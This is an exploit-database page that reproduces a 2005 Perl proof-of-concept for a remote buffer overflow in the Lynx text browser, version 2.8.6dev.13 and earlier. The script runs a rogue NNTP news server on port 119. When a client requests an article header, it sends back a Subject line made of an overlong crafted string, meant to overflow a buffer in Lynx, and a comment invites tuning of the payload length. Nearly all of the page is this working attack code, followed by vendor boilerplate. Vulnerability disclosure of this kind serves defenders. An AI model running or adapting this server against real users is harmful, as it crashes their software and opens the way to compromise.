Lucene search
K

Lynx <= 2.8.6dev.13 Remote Buffer Overflow Exploit (PoC)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Lynx 2.8.6dev.13 Remote Buffer Overflow Exploit (PoC) in Per

Code

                                                #!/usr/bin/perl --

# lynx-nntp-server
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

use strict;
use IO::Socket;

$main::port = 119;
$main::timeout = 5;

# *** SUBROUTINES ***

sub mysend($$)
{
my $file = shift;
my $str = shift;

print $file &#34;$str\n&#34;;
print &#34;SENT: $str\n&#34;;
} # sub mysend

sub myreceive($)
{
my $file = shift;
my $inp;

eval
{
local $SIG{ALRM} = sub { die &#34;alarm\n&#34; };
alarm $main::timeout;
$inp = &#60;$file&#62;;
alarm 0;
};

if ($@ eq &#34;alarm\n&#34;) { $inp = &#39;&#39;; print &#34;TIMED OUT\n&#34;; }
$inp =~ tr/\015\012\000//d;
print &#34;RECEIVED: $inp\n&#34;;
$inp;
} # sub myreceive

# *** MAIN PROGRAM ***

{
my $server = IO::Socket::INET-&#62;new( Proto =&#62; &#39;tcp&#39;,
LocalPort =&#62; $main::port,
Listen =&#62; SOMAXCONN,
Reuse =&#62; 1);
die &#34;can&#39;t set up server!\n&#34; unless $server;


while (my $client = $server-&#62;accept())
{
$client-&#62;autoflush(1);
print &#39;connection from &#39;.$client-&#62;peerhost.&#34;\n&#34;;


mysend($client, &#39;200 Internet News&#39;);
my $group = &#39;alt.angst&#39;;

while (my $str = myreceive($client))
{
if ($str =~ m/^mode reader$/i)
{
mysend($client, &#39;200 Internet News&#39;);
next;
}

if ($str =~ m/^group ([-_.a-zA-Z0-9]+)$/i)
{
$group = $1;
mysend($client, &#34;211 1 1 1 $group&#34;);
next;
}

if ($str =~ m/^quit$/i)
{
mysend($client, &#39;205 Goodbye&#39;);
last;
}

if ($str =~ m/^head ([0-9]+)$/i)
{
my $evil = &#39;$@UU(JUU&#39; x 21; # Edit the number!
$evil .= &#39;U&#39; x (504 - length $evil);

my $head = &#60;&#60;HERE;
221 $1 &#60;xyzzy\@usenet.qx&#62;
Path: host!someotherhost!onemorehost
From: &#60;mr_talkative\@usenet.qx&#62;
Subject: $evil
Newsgroup: $group
Message-ID: &#60;xyzzy\@usenet.qx&#62;
.
HERE

$head =~ s|\s+$||s;
mysend($client, $head);
next;
}

mysend($client, &#39;500 Syntax Error&#39;);
} # while str=myreceive(client)

close $client;
print &#34;closed\n\n\n&#34;;
} # while client=server-&#62;accept()
}

# milw0rm.com [2005-10-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
20